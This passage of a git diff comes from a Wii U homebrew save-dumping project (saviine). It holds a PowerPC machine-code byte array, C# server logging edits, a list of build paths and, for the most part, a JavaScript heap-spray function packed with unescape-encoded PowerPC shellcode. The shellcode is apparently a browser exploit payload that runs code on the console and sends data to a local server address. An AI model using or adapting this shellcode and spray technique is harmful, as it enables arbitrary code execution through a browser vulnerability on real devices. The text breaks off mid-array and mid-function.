0x63, 0xbd, 0x00, 0xe4, 0x7c, 0xbb, 0x2b, 0x78, 0x81, 0x3d, 0x00, 0x00,
0x81, 0x49, 0x02, 0x84, 0x2f, 0x8a, 0x00, 0x00, 0x41, 0x9e, 0x00, 0x18,
0x4b, 0xf7, 0x27, 0xc5, 0x81, 0x3d, 0x00, 0x00, 0x81, 0x49, 0x02, 0x84,
0x2f, 0x8a, 0x00, 0x00, 0x40, 0x9e, 0xff, 0xf0, 0x39, 0x40, 0x00, 0x01,
0x39, 0x1e, 0xff, 0xff, 0x91, 0x49, 0x02, 0x84, 0x39, 0x20, 0x00, 0x00,
0x48, 0x00, 0x00, 0x08, 0x7d, 0x49, 0x53, 0x78, 0x8c, 0xe8, 0x00, 0x01,
0x39, 0x49, 0x00, 0x01, 0x2f, 0x87, 0x00, 0x00, 0x40, 0x9e, 0xff, 0xf0,
0x39, 0x09, 0x00, 0x15, 0x80, 0xe1, 0x00, 0x00, 0x55, 0x08, 0x00, 0x36,
0x7d, 0x46, 0x53, 0x79, 0x7d, 0x08, 0x00, 0xd0, 0x7c, 0x3d, 0x0b, 0x78,
0x7c, 0xe1, 0x41, 0x6e, 0x38, 0xa9, 0x00, 0x06, 0x7c, 0xc9, 0x03, 0xa6,
0x39, 0x20, 0x00, 0x00, 0x38, 0x81, 0x00, 0x08, 0x9b, 0x61, 0x00, 0x08,
0x91, 0x44, 0x00, 0x01, 0x40, 0x81, 0x00, 0x70, 0x7d, 0x1e, 0x48, 0xae,
0x7d, 0x44, 0x4a, 0x14, 0x39, 0x29, 0x00, 0x01, 0x99, 0x0a, 0x00, 0x05,
0x42, 0x00, 0xff, 0xf0, 0x39, 0x20, 0x00, 0x00, 0x7f, 0x83, 0xe3, 0x78,
0x99, 0x2a, 0x00, 0x06, 0x4b, 0xff, 0xf8, 0x89, 0x3d, 0x40, 0x10, 0x00,
0x61, 0x4a, 0x00, 0xe4, 0x81, 0x21, 0x00, 0x00, 0x81, 0x4a, 0x00, 0x00,
0x91, 0x3d, 0x00, 0x00, 0x39, 0x20, 0x00, 0x00, 0x91, 0x2a, 0x02, 0x84,
0x7f, 0xa1, 0xeb, 0x78, 0x39, 0x7f, 0x00, 0x20, 0x80, 0x0b, 0x00, 0x04,
0x83, 0xeb, 0xff, 0xfc, 0x7c, 0x08, 0x03, 0xa6, 0x83, 0x6b, 0xff, 0xec,
0x83, 0x8b, 0xff, 0xf0, 0x83, 0xab, 0xff, 0xf4, 0x83, 0xcb, 0xff, 0xf8,
0x7d, 0x61, 0x5b, 0x78, 0x4e, 0x80, 0x00, 0x20, 0x39, 0x40, 0x00, 0x01,
0x7d, 0x49, 0x03, 0xa6, 0x4b, 0xff, 0xff, 0x8c, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
};
static const unsigned int saviine_text_bin_len = 4788;

Binary file not shown.

View File

@ -143,6 +143,12 @@ namespace saviine_server
log.Flush();
Console.WriteLine(str);
}
static void LogNoLine(StreamWriter log, String str)
{
log.Write(str);
log.Flush();
Console.Write(str);
}
static void Handle(object client_obj)
{
@ -208,15 +214,14 @@ namespace saviine_server
// Add new file for incoming data
files_request.Add(fd, new FileStream(LocalRoot + path, FileMode.OpenOrCreate, FileAccess.Write, FileShare.Write));
// Send response
if (fastmode) {
Log(log, "fast");
if (fastmode) {
writer.Write(BYTE_REQUEST);
}
else
{
Log(log, "slow");
{
writer.Write(BYTE_REQUEST_SLOW);
}
LogNoLine(log, "-> [");
// Send response
writer.Write(BYTE_SPECIAL);
break;
@ -237,8 +242,8 @@ namespace saviine_server
FileStream dump_file = item.Value;
if (dump_file == null)
break;
Log(log, name + " -> dump(\"" + Path.GetFileName(dump_file.Name) + "\") " + (sz / 1024).ToString() + "kB");
LogNoLine(log, ".");
// Write to file
dump_file.Write(buffer, 0, sz);
@ -281,8 +286,8 @@ namespace saviine_server
if (dump_file == null)
break;
Log(log, name + " -> dump complete(\"" + Path.GetFileName(dump_file.Name) + "\")");
LogNoLine(log,"]");
Log(log, "");
// Close file and remove from request list
dump_file.Close();
files_request.Remove(fd);
@ -311,7 +316,7 @@ namespace saviine_server
string str = reader.ReadString(Encoding.ASCII, len_str - 1);
if (reader.ReadByte() != 0) throw new InvalidDataException();
Log(log, name + " LogString =>(\"" + str + "\")");
Log(log,"-> " + str);
break;
}
default:

View File

@ -0,0 +1,6 @@
G:\Programmieren\libwiiu-master\saviinet\saviine\saviine\server\src\bin\saviine_server.exe.config
G:\Programmieren\libwiiu-master\saviinet\saviine\saviine\server\src\bin\saviine_server.exe
G:\Programmieren\libwiiu-master\saviinet\saviine\saviine\server\src\bin\saviine_server.pdb
G:\Programmieren\libwiiu-master\saviinet\saviine\saviine\server\src\obj\x86\Debug\saviine_server.csprojResolveAssemblyReference.cache
G:\Programmieren\libwiiu-master\saviinet\saviine\saviine\server\src\obj\x86\Debug\saviine_server.exe
G:\Programmieren\libwiiu-master\saviinet\saviine\saviine\server\src\obj\x86\Debug\saviine_server.pdb

View File

@ -55,135 +55,135 @@ function sprayInc(n) {
}
function sprayCode(n) {
var str = unescape("%ucafe%ucafe%u9421%ufe90%u7c08%u02a6%u9001%u0174%u93e1%u016c%u7c3f%u0b78%u3c20%u1ab5%u6021%ud138%u395f%u0030%u3d20%u0102%u6129%ua31c%u3d00%u0180%u3868%u1e30%u7d44%u5378%u7d29%u03a6%u4e80%u0421");
str += unescape("%u811f%u0030%u395f%u0034%u3d20%u0102%u6129%ub790%u7d03%u4378%u3880%u0000%u3d00%u0180%u38a8%u1e40%u7d46%u5378%u7d29%u03a6%u4e80%u0421%u811f%u0030%u395f%u0038%u3d20%u0102%u6129%ub790%u7d03%u4378");
str += unescape("%u3880%u0000%u3d00%u0180%u38a8%u1e48%u7d46%u5378%u7d29%u03a6%u4e80%u0421%u811f%u0030%u395f%u003c%u3d20%u0102%u6129%ub790%u7d03%u4378%u3880%u0000%u3d00%u0180%u38a8%u1e58%u7d46%u5378%u7d29%u03a6");
str += unescape("%u4e80%u0421%u813f%u0034%u2f89%u0000%u409e%u001c%u3d20%u0103%u6129%u1368%u3d40%u0180%u386a%u1e70%u7d29%u03a6%u4e80%u0421%u813f%u0038%u2f89%u0000%u409e%u001c%u3d20%u0103%u6129%u1368%u3d40%u0180");
str += unescape("%u386a%u1e8c%u7d29%u03a6%u4e80%u0421%u813f%u003c%u2f89%u0000%u409e%u001c%u3d20%u0103%u6129%u1368%u3d40%u0180%u386a%u1eac%u7d29%u03a6%u4e80%u0421%u813f%u003c%u3c60%ua000%u7d29%u03a6%u4e80%u0421");
str += unescape("%u7c6a%u1b78%u3d20%u3100%u7f8a%u4800%u419e%u0020%u3d20%u0103%u6129%u1368%u3d40%u0180%u386a%u1ed8%u7d29%u03a6%u4e80%u0421%u4800%u07bc%u3d20%uc0a8%u6129%u010a%u913f%u0040%u811f%u0030%u395f%u0044");
str += unescape("%u3d20%u0102%u6129%ub790%u7d03%u4378%u3880%u0000%u3d00%u0180%u38a8%u1ee4%u7d46%u5378%u7d29%u03a6%u4e80%u0421%u811f%u0030%u395f%u0048%u3d20%u0102%u6129%ub790%u7d03%u4378%u3880%u0000%u3d00%u0180");
str += unescape("%u38a8%u1ef4%u7d46%u5378%u7d29%u03a6%u4e80%u0421%u811f%u0030%u395f%u004c%u3d20%u0102%u6129%ub790%u7d03%u4378%u3880%u0000%u3d00%u0180%u38a8%u1f0c%u7d46%u5378%u7d29%u03a6%u4e80%u0421%u811f%u0030");
str += unescape("%u395f%u0050%u3d20%u0102%u6129%ub790%u7d03%u4378%u3880%u0000%u3d00%u0180%u38a8%u1f20%u7d46%u5378%u7d29%u03a6%u4e80%u0421%u811f%u0030%u395f%u0054%u3d20%u0102%u6129%ub790%u7d03%u4378%u3880%u0000");
str += unescape("%u3d00%u0180%u38a8%u1f38%u7d46%u5378%u7d29%u03a6%u4e80%u0421%u811f%u0030%u395f%u0058%u3d20%u0102%u6129%ub790%u7d03%u4378%u3880%u0000%u3d00%u0180%u38a8%u1f50%u7d46%u5378%u7d29%u03a6%u4e80%u0421");
str += unescape("%u3920%u0000%u913f%u0014%u3920%u0000%u913f%u0018%u3920%u0000%u913f%u001c%u813f%u0044%u7d29%u03a6%u4e80%u0421%u813f%u0048%u3860%u0000%u7d29%u03a6%u4e80%u0421%u7c69%u1b78%u913f%u0014%u813f%u0048");
str += unescape("%u3860%u0001%u7d29%u03a6%u4e80%u0421%u7c69%u1b78%u913f%u0018%u813f%u004c%u3860%u0000%u3c80%uf400%u7d29%u03a6%u4e80%u0421%u813f%u004c%u815f%u0014%u3d4a%uf400%u3860%u0001%u7d44%u5378%u7d29%u03a6");
str += unescape("%u4e80%u0421%u813f%u0050%u3860%u0000%u809f%u001c%u7d29%u03a6%u4e80%u0421%u813f%u0050%u3860%u0001%u809f%u001c%u7d29%u03a6%u4e80%u0421%u813f%u0038%u3c60%uf400%u809f%u0014%u7d29%u03a6%u4e80%u0421");
str += unescape("%u813f%u0038%u815f%u0014%u3d4a%uf400%u7d43%u5378%u809f%u0018%u7d29%u03a6%u4e80%u0421%u813f%u0054%u3860%u0000%u7d29%u03a6%u4e80%u0421%u813f%u0054%u3860%u0001%u7d29%u03a6%u4e80%u0421%u395f%u005c");
str += unescape("%u3d20%u0102%u6129%ua31c%u3d00%u0180%u3868%u1f64%u7d44%u5378%u7d29%u03a6%u4e80%u0421%u811f%u005c%u395f%u0060%u3d20%u0102%u6129%ub790%u7d03%u4378%u3880%u0000%u3d00%u0180%u38a8%u1f70%u7d46%u5378");
str += unescape("%u7d29%u03a6%u4e80%u0421%u3920%u0003%u993f%u0008%u3920%u0001%u993f%u0009%u813f%u0060%u391f%u0068%u395f%u0064%u3860%u0000%u7d04%u4378%u38a0%u0001%u7d46%u5378%u7d29%u03a6%u4e80%u0421%u893f%u0009");
str += unescape("%u5529%u063e%u2f89%u0000%u419e%u0028%u813f%u0054%u3860%u0001%u7d29%u03a6%u4e80%u0421%u813f%u0050%u3860%u0001%u3880%u0000%u7d29%u03a6%u4e80%u0421%u813f%u0058%u3860%u0001%u3880%u0012%u38a0%u0001");
str += unescape("%u3d40%u0180%u38ca%u1f7c%u7d29%u03a6%u4e80%u0421%u893f%u0040%u5529%u063e%u7d27%u4b78%u893f%u0041%u5529%u063e%u7d28%u4b78%u893f%u0042%u5529%u063e%u895f%u0043%u554a%u063e%u38df%u0114%u3ca0%u0102");
str += unescape("%u60ab%uf09c%u7cc3%u3378%u3880%u0050%u3cc0%u0180%u38a6%u1f9c%u3cc0%u0180%u38c6%u1fb4%u7d69%u03a6%u4cc6%u3182%u4e80%u0421%u813f%u0058%u395f%u0114%u3860%u0001%u3880%u0000%u38a0%u0005%u7d46%u5378");
str += unescape("%u7d29%u03a6%u4e80%u0421%u813f%u0058%u3860%u0001%u3880%u0000%u38a0%u0006%u3d40%u0180%u38ca%u1fc4%u7d29%u03a6%u4e80%u0421%u813f%u0058%u3860%u0001%u3880%u002a%u38a0%u0011%u3d40%u0180%u38ca%u1fe4");
str += unescape("%u7d29%u03a6%u4e80%u0421%u893f%u0008%u5529%u103a%u5529%u063e%u3929%u000f%u993f%u0020%u813f%u0058%u895f%u0020%u554a%u063e%u3860%u0001%u7d44%u5378%u38a0%u0004%u3d40%u0180%u38ca%u1ffc%u7d29%u03a6");
str += unescape("%u4e80%u0421%u813f%u0060%u391f%u0068%u395f%u0064%u3860%u0000%u7d04%u4378%u38a0%u0001%u7d46%u5378%u7d29%u03a6%u4e80%u0421%u893f%u0009%u5529%u063e%u2f89%u0000%u419e%u002c%u813f%u0054%u3860%u0001");
str += unescape("%u7d29%u03a6%u4e80%u0421%u813f%u0050%u3860%u0001%u3880%u0000%u7d29%u03a6%u4e80%u0421%u4800%u0174%u813f%u0068%u5529%u07bc%u2f89%u0000%u419e%u0008%u4800%u0374%u813f%u0068%u5529%u0420%u2f89%u0000");
str += unescape("%u419e%u0020%u6000%u0000%u3920%u1414%u913f%u000c%u3d20%ua11d%u6129%ue000%u913f%u0024%u4800%u0180%u813f%u0068%u5529%u0528%u2f89%u0000%u419e%u003c%u893f%u0008%u5529%u063e%u2f89%u0000%u409e%u0014");
str += unescape("%u3920%u0003%u993f%u0008%u3920%u0003%u4800%u0018%u893f%u0008%u3929%uffff%u993f%u0008%u893f%u0008%u5529%u063e%u993f%u0008%u813f%u0068%u5529%u056a%u2f89%u0000%u419e%u001c%u893f%u0008%u3929%u0001");
str += unescape("%u993f%u0008%u893f%u0008%u5529%u07be%u993f%u0008%u813f%u0068%u5529%u05ac%u2f89%u0000%u419e%u0054%u893f%u0008%u5528%u063e%u893f%u0008%u5529%u063e%u395f%u0008%u7d4a%u4a14%u894a%u0038%u554a%u063e");
str += unescape("%u394a%u0001%u5547%u063e%u395f%u0008%u7d4a%u4a14%u98ea%u0038%u395f%u0008%u7d2a%u4a14%u8929%u0038%u552a%u063e%u393f%u0008%u7d29%u4214%u9949%u0038%u813f%u0068%u5529%u05ee%u2f89%u0000%u419e%u0054");
str += unescape("%u893f%u0008%u5528%u063e%u893f%u0008%u5529%u063e%u395f%u0008%u7d4a%u4a14%u894a%u0038%u554a%u063e%u394a%uffff%u5547%u063e%u395f%u0008%u7d4a%u4a14%u98ea%u0038%u395f%u0008%u7d2a%u4a14%u8929%u0038");
str += unescape("%u552a%u063e%u393f%u0008%u7d29%u4214%u9949%u0038%u813f%u0068%u5529%u052e%u2f89%u0000%u7d20%u0026%u5529%ufffe%u6929%u0001%u5529%u063e%u993f%u0009%u4bff%ufccc%u815f%u0024%u813f%u000c%u7d2a%u4a14");
str += unescape("%u3d40%u0180%u390a%u0a18%u815f%u000c%u7d48%u5214%u894a%u0000%u554a%u063e%u9949%u0000%u813f%u000c%u3949%uffff%u915f%u000c%u2f89%u0000%u409e%uffc8%u815f%u0040%u813f%u0024%u9149%u0000%u813f%u0038");
str += unescape("%u807f%u0024%u3880%u1414%u7d29%u03a6%u4e80%u0421%u3d20%u0180%u3929%u09a8%u913f%u0028%u3920%u0009%u913f%u000c%u813f%u0024%u3929%u1414%u913f%u0010%u4800%u0114%u813f%u000c%u1d29%u000c%u815f%u0028");
str += unescape("%u7d2a%u4a14%u8129%u0008%u6529%ua000%u815f%u0010%u3d4a%u6000%u9149%u0000%u813f%u000c%u1d29%u000c%u815f%u0028%u7d2a%u4a14%u8129%u0000%u6529%ua000%u8149%u0000%u813f%u0010%u9149%u0000%u813f%u0010");
str += unescape("%u3929%u0004%u913f%u0010%u813f%u000c%u1d29%u000c%u815f%u0028%u7d2a%u4a14%u8129%u0000%u3929%u0004%u5529%u01ba%u6529%u4800%u612a%u0002%u813f%u0010%u9149%u0000%u813f%u0010%u3929%u0004%u913f%u0010");
str += unescape("%u813f%u0038%u815f%u0010%u394a%ufff8%u7d43%u5378%u3880%u0008%u7d29%u03a6%u4e80%u0421%u813f%u000c%u1d29%u000c%u815f%u0028%u7d2a%u4a14%u8129%u0000%u6529%ua000%u815f%u000c%u1d4a%u000c%u811f%u0028");
str += unescape("%u7d48%u5214%u814a%u0004%u554a%u01ba%u654a%u4800%u614a%u0002%u9149%u0000%u813f%u0038%u815f%u000c%u1d4a%u000c%u811f%u0028%u7d48%u5214%u814a%u0000%u654a%ua000%u7d43%u5378%u3880%u0004%u7d29%u03a6");
str += unescape("%u4e80%u0421%u813f%u000c%u3949%uffff%u915f%u000c%u2f89%u0000%u409e%ufee0%u3d20%ua10c%u6129%u0404%u913f%u002c%u813f%u002c%u3d40%u3860%u9149%u0000%u813f%u002c%u3929%u0004%u3d40%u4e80%u614a%u0020");
str += unescape("%u9149%u0000%u3d20%uffea%u6123%uaa58%u3880%u0000%u4800%u0021%u3d20%uffea%u6123%uaa5c%u3c80%u1400%u4800%u0011%u813f%u0034%u7d29%u03a6%u4e80%u0421%u9421%uffe0%u7c08%u02a6%u9001%u0024%u93a1%u0014");
str += unescape("%u93c1%u0018%u93e1%u001c%u7c3f%u0b78%u907f%u0008%u909f%u000c%u83df%u0008%u83bf%u000c%u3860%u0001%u3880%u0000%u7fa5%ueb78%u38c0%u0000%u38e0%u0000%u3d00%u0001%u7fc9%uf378%u7c3d%u0b78%u3800%u3500");
str += unescape("%u4400%u0002%u6000%u0000%u7fa1%ueb78%u397f%u0020%u800b%u0004%u7c08%u03a6%u83ab%ufff4%u83cb%ufff8%u83eb%ufffc%u7d61%u5b78%u4e80%u0020%u0106%u08ac%u011d%ue024%u011d%uf3f8%u0106%u0974%u011d%ue004");
str += unescape("%u011d%uf3f0%u0106%u546c%u011d%ue144%u011d%uf400%u0106%u0aa4%u011d%ue264%u011d%uf408%u0106%uef7c%u011d%uea80%u011d%uf410%u0106%u83c8%u011d%ue0b4%u011d%uf3fc%u0106%u8538%u011d%ue014%u011d%uf3f4");
str += unescape("%u0106%u85fc%u011d%ue1ac%u011d%uf404%u0106%u8a08%u011d%ue2c8%u011d%uf40c%u0000%u006c%u0000%u0000%u3d20%u011e%u8129%uf3f0%u7d29%u03a6%u4e80%u0420%u3d20%u011e%u8129%uf3f4%u7d29%u03a6%u4e80%u0420");
str += unescape("%u7c08%u02a6%u9421%ufff0%u3d40%u0a00%u93e1%u000c%u3fe0%u1000%u9001%u0014%u63ff%u00e4%u813f%u0000%u7f89%u5000%u419e%u0024%u3d20%u011e%u8001%u0014%u8129%uf3f8%u83e1%u000c%u7c08%u03a6%u3821%u0010");
str += unescape("%u7d29%u03a6%u4e80%u0420%u3d20%u1005%u3880%u0040%u8129%ue9c0%u3860%u0288%u7d29%u03a6%u4e80%u0421%u3880%u0000%u907f%u0000%u38a0%u0288%u4be5%u79c5%u3d20%u011e%u8001%u0014%u8129%uf3f8%u83e1%u000c");
str += unescape("%u7c08%u03a6%u3821%u0010%u7d29%u03a6%u4e80%u0420%u7c08%u02a6%u9421%ufff0%u3d40%u0a00%u93e1%u000c%u3fe0%u1000%u9001%u0014%u63ff%u00e4%u813f%u0000%u7f89%u5000%u419e%u0024%u3d20%u011e%u8001%u0014");
str += unescape("%u8129%uf3fc%u83e1%u000c%u7c08%u03a6%u3821%u0010%u7d29%u03a6%u4e80%u0420%u3d20%u1005%u3880%u0040%u8129%ue9c0%u3860%u0288%u7d29%u03a6%u4e80%u0421%u3880%u0000%u907f%u0000%u38a0%u0288%u4be5%u7935");
str += unescape("%u3d20%u011e%u8001%u0014%u8129%uf3fc%u83e1%u000c%u7c08%u03a6%u3821%u0010%u7d29%u03a6%u4e80%u0420%u7c08%u02a6%u3d20%u011e%u9421%ufff0%u8129%uf400%u93e1%u000c%u7d29%u03a6%u9001%u0014%u4e80%u0421");
str += unescape("%u3d20%u1000%u6129%u00e4%u3d40%u0a00%u8129%u0000%u7c7f%u1b78%u7f89%u5000%u419e%u0018%u2b83%u001f%u419d%u0010%u5463%u103a%u7c69%u1a14%u4800%u0b29%u8001%u0014%u7fe3%ufb78%u83e1%u000c%u7c08%u03a6");
str += unescape("%u3821%u0010%u4e80%u0020%u7c08%u02a6%u3d20%u011e%u9421%ufff0%u8129%uf404%u93c1%u0008%u7c7e%u1b78%u93e1%u000c%u7d29%u03a6%u9001%u0014%u4e80%u0421%u3d20%u1000%u6129%u00e4%u7c7f%u1b78%u80e9%u0000");
str += unescape("%u3d20%u0a00%u7f87%u4800%u419e%u005c%u2f83%u0000%u419c%u0054%u3900%u0020%u3947%u007c%u3920%u0000%u7d09%u03a6%u4800%u000c%u3929%u0001%u4240%u0038%u850a%u0004%u2f88%u0000%u409e%ufff0%u3949%u0020");
str += unescape("%u3929%u0040%u554a%u103a%u5529%u103a%u7fc7%u512e%u3d40%u1000%u614a%u00e4%u806a%u0000%u7c63%u4a14%u4800%u0a75%u8001%u0014%u7fe3%ufb78%u83c1%u0008%u7c08%u03a6%u83e1%u000c%u3821%u0010%u4e80%u0020");
str += unescape("%u7c08%u02a6%u9421%ufff0%u3d20%u1000%u3d40%u0a00%u6129%u00e4%u93e1%u000c%u9001%u0014%u7c7f%u1b78%u8129%u0000%u7f89%u5000%u419e%u0018%u2b83%u001f%u419d%u0010%u546a%u103a%u7c69%u502e%u4800%u0b15");
str += unescape("%u3d20%u011e%u8001%u0014%u8129%uf408%u7fe3%ufb78%u7c08%u03a6%u83e1%u000c%u3821%u0010%u7d29%u03a6%u4e80%u0420%u7c08%u02a6%u9421%ufff0%u3d20%u1000%u6129%u00e4%u93c1%u0008%u9001%u0014%u7c7e%u1b78");
str += unescape("%u93e1%u000c%u8109%u0000%u3d20%u0a00%u7f88%u4800%u419e%u0058%u3940%u0020%u3928%u007c%u3be0%u0000%u7d49%u03a6%u4800%u000c%u3bff%u0001%u4240%u003c%u8549%u0004%u7f9e%u5000%u409e%ufff0%u393f%u0040");
str += unescape("%u3bff%u0020%u5529%u103a%u57ff%u103a%u7c68%u482e%u4800%u0a81%u3d20%u1000%u6129%u00e4%u3940%u0000%u8129%u0000%u7d49%uf92e%u3d20%u011e%u8001%u0014%u8129%uf40c%u7fc3%uf378%u83e1%u000c%u7c08%u03a6");
str += unescape("%u83c1%u0008%u7d29%u03a6%u3821%u0010%u4e80%u0420%u9421%ufd48%u7c08%u02a6%u7ce9%u3b78%u3947%u0001%u9341%u02a0%u38e0%uffff%u93c1%u02b0%u7c9a%u2378%u93e1%u02b4%u7ca4%u2b78%u7cbe%u2b78%u7cdf%u3378");
str += unescape("%u7cc5%u3378%u38c1%u027c%u93a1%u02ac%u7c7d%u1b78%u9001%u02bc%u92a1%u028c%u92c1%u0290%u92e1%u0294%u9301%u0298%u9321%u029c%u9361%u02a4%u9381%u02a8%u9121%u027c%u9141%u0278%u4be9%u12b5%u2c03%u0000");
str += unescape("%u4082%u026c%u3940%u0072%u3f60%u1000%u9941%u0280%u637b%u00e4%u9861%u0281%u575c%u103a%u3f20%u011e%u3ee0%u1005%u3f00%u100b%u80a1%u027c%u7fa3%ueb78%u7fc4%uf378%u38c1%u0008%u38e0%uffff%u4be9%u1361");
str += unescape("%u2f83%u0000%u409e%u0214%u895f%u0000%u2f8a%u0000%u419e%u02dc%u3901%u016b%u3920%u0000%u3929%u0001%u9d48%u0001%u7d5f%u48ae%u2f8a%u0000%u409e%ufff0%u3909%u0001%u8941%u006c%u38e1%u0008%u7d27%u4a14");
str += unescape("%u38e0%u002f%u2f8a%u0000%u98e9%u0164%u419e%u0028%u3921%u016c%u38e8%uffff%u7ce9%u3a14%u3921%u006c%u9d47%u0001%u3908%u0001%u8d49%u0001%u2f8a%u0000%u409e%ufff0%u38e1%u0008%u3ac0%u0000%u7d07%u4214");
str += unescape("%u3881%u016c%u9ac8%u0164%u38a0%u00fb%u813b%u0000%u7c69%ue02e%u4800%u0dfd%u8121%u0008%u2f89%u0000%u419c%u01cc%u3920%u0066%u9ac1%u0270%u9921%u026c%u3920%u0069%u9921%u026d%u3920%u006c%u9921%u026e");
str += unescape("%u3920%u0065%u9921%u026f%u3881%u026c%u38a0%u00fb%u813b%u0000%u7c69%ue02e%u4800%u0db9%u3939%uf3f0%u8129%u0020%u7fa3%ueb78%u7fc4%uf378%u38a1%u016c%u38c1%u0280%u38e1%u0278%u3900%uffff%u7d29%u03a6");
str += unescape("%u4e80%u0421%u2c03%u0000%u4180%u01b0%u813b%u0000%u7f44%ud378%u80c1%u0278%u38a1%u016c%u7c69%ue02e%u3aa0%u0c80%u4800%u0879%u813b%u0000%u7c76%u1b78%u3881%u016c%u7c69%ue02e%u38a0%u00fb%u4800%u0d55");
str += unescape("%u2f96%u0001%u419e%u019c%u8137%ue9c0%u7ea3%uab78%u3880%u0040%u7d29%u03a6%u4e80%u0421%u7c76%u1b78%u4800%u0010%u80c1%u0278%u7c69%ue02e%u4800%u0a15%u8101%u0278%u7fc4%uf378%u7ec5%ub378%u3920%u0000");
str += unescape("%u38c0%u0001%u7ea7%uab78%u3940%u0000%u7fa3%ueb78%u4be9%u0b55%u7ec4%ub378%u2f83%u0000%u7c65%u1b78%u9061%u0274%u813b%u0000%u419d%uffbc%u7c69%ue02e%u3881%u0274%u80a1%u0278%u4800%u0af5%u80a1%u0278");
str += unescape("%u38e0%uffff%u7fc4%uf378%u38c0%u0000%u7fa3%ueb78%u4be9%u0f3d%u8138%u487c%u7ec3%ub378%u7d29%u03a6%u4e80%u0421%u80a1%u0278%u7fc4%uf378%u38c0%uffff%u7fa3%ueb78%u4be9%u0a71%u80a1%u027c%u7fa3%ueb78");
str += unescape("%u7fc4%uf378%u38c1%u0008%u38e0%uffff%u4be9%u1151%u2f83%u0000%u419e%ufdf4%u80a1%u027c%u7fa3%ueb78%u7fc4%uf378%u38c0%u0000%u4be9%u10b5%u8001%u02bc%u3860%u0000%u82a1%u028c%u7c08%u03a6%u82c1%u0290");
str += unescape("%u82e1%u0294%u8301%u0298%u8321%u029c%u8341%u02a0%u8361%u02a4%u8381%u02a8%u83a1%u02ac%u83c1%u02b0%u83e1%u02b4%u3821%u02b8%u4e80%u0020%u3920%u0064%u9ac1%u026f%u9921%u026c%u3920%u0069%u9921%u026d");
str += unescape("%u3920%u0072%u9921%u026e%u3881%u026c%u38a0%u00fb%u813b%u0000%u7c69%ue02e%u4800%u0bf9%u80e1%u0278%u7fa3%ueb78%u7f44%ud378%u7fc5%uf378%u38c1%u016c%u4bff%ufca1%u4bff%ufd34%u3863%u0039%u3920%u0030");
str += unescape("%u9861%u026c%u3881%u026c%u9921%u026d%u38a0%u00fb%u813b%u0000%u7c69%ue02e%u4800%u0bb9%u4bff%ufd0c%u3aa0%u0000%u62b5%uc800%u4bff%ufe60%u3900%u0001%u3920%u0000%u4bff%ufd40%u9421%ufea0%u3920%u005f");
str += unescape("%u7c08%u02a6%u9921%u000a%u3920%u002e%u9921%u000f%u3920%u0072%u92c1%u0138%u3ac0%u006c%u92e1%u013c%u3ae0%u0073%u9301%u0140%u3b00%u0061%u9321%u0144%u3b20%u0065%u9341%u0148%u3b40%u0076%u9361%u014c");
str += unescape("%u7c7b%u1b78%u9381%u0150%u3861%u0008%u93c1%u0158%u7c9c%u2378%u3bc0%u006e%u93e1%u015c%u3881%u0108%u3be0%u0000%u9921%u0010%u3920%u0070%u9001%u0164%u93a1%u0154%u7cbd%u2b78%u9bc1%u0008%u9bc1%u0009");
str += unescape("%u9921%u0011%u9ae1%u000b%u9b01%u000c%u9b41%u000d%u9b21%u000e%u9ac1%u0012%u9be1%u0013%u4be4%ubb5d%u3920%u0053%u8061%u0108%u9921%u0008%u3920%u0041%u9921%u0009%u3920%u0056%u9921%u000a%u3920%u0045");
str += unescape("%u9921%u000b%u3920%u0049%u9921%u000c%u3920%u0069%u3880%u0000%u38a1%u0008%u38c1%u0114%u9921%u000e%u3920%u0074%u9bc1%u000d%u9921%u000f%u9be1%u0010%u4be4%ucf7d%u8121%u0114%u7d29%u03a6%u4e80%u0421");
str += unescape("%u3920%u0030%u3900%u002f%u3940%u006f%u38e0%u006d%u9901%u0108%u9901%u010c%u9901%u0111%u3900%u0038%u9921%u0115%u9921%u0116%u9921%u0117%u9921%u0118%u9921%u0119%u9921%u011a%u9921%u011b%u3920%u0063");
str += unescape("%u9941%u010a%u9901%u0114%u3901%u0007%u9921%u0120%u3920%u0076%u9941%u0121%u98e1%u0122%u98e1%u0123%u38e1%u0109%u9941%u0124%u3940%u002f%u9bc1%u0125%u3bc0%u0000%u9b41%u0109%u9ac1%u010b%u9ae1%u010d");
str += unescape("%u9b01%u010e%u9b41%u010f%u9b21%u0110%u9be1%u0112%u9be1%u011c%u9be1%u0126%u4800%u0008%u8d27%u0001%u2f89%u0000%u9d48%u0001%u3bde%u0001%u7d2a%u4b78%u409e%uffec%u3921%u0008%u3b5e%uffff%u7f49%ud214");
str += unescape("%u38c1%u0115%u7f47%ud378%u7fca%uf378%u3920%u0030%u3900%u0038%u4800%u0008%u8d26%u0001%u2f89%u0000%u9d07%u0001%u394a%u0001%u7d28%u4b78%u409e%uffec%u7d41%u5214%u3be0%u0001%u992a%u0008%u4800%u0028");
str += unescape("%u2f89%u0009%u3949%u0057%u9901%u0018%u3929%u0030%u419d%u0058%u2f9f%u0100%u9921%u0019%u3bff%u0001%u419e%u0058%u7f63%udb78%u7fa4%ueb78%u7f85%ue378%u38c1%u0008%u38e0%u0032%u4bff%ufa19%u7fe9%u2670");
str += unescape("%u2f89%u0009%u3949%u0057%u3909%u0030%u57e9%u073e%u40bd%uffb0%u2f89%u0009%u9941%u0018%u3949%u0057%u3929%u0030%u40bd%uffb0%u2f9f%u0100%u9941%u0019%u3bff%u0001%u409e%uffb0%u3901%u0121%u7f4a%ud378");
str += unescape("%u3be0%u006f%u3920%u0063%u4800%u0008%u8fe8%u0001%u2f9f%u0000%u9d2a%u0001%u3bde%u0001%u7fe9%ufb78%u409e%uffec%u7fc1%uf214%u3f40%u1000%u9bfe%u0008%u635a%u00e4%u57be%u103a%u3881%u0008%u813a%u0000");
str += unescape("%u38a0%u00fb%u7c69%uf02e%u4800%u08c9%u7fa4%ueb78%u7f85%ue378%u38c1%u0008%u7f63%udb78%u38e0%u003c%u4bff%uf971%u3920%u0064%u9921%u0128%u3920%u006f%u9921%u0129%u3920%u006e%u9921%u012a%u3920%u0065");
str += unescape("%u9921%u012b%u3920%u0021%u9be1%u012d%u3881%u0128%u9921%u012c%u38a0%u00fb%u813a%u0000%u7c69%uf02e%u4800%u0871%u8001%u0164%u82c1%u0138%u7c08%u03a6%u82e1%u013c%u8301%u0140%u8321%u0144%u8341%u0148");
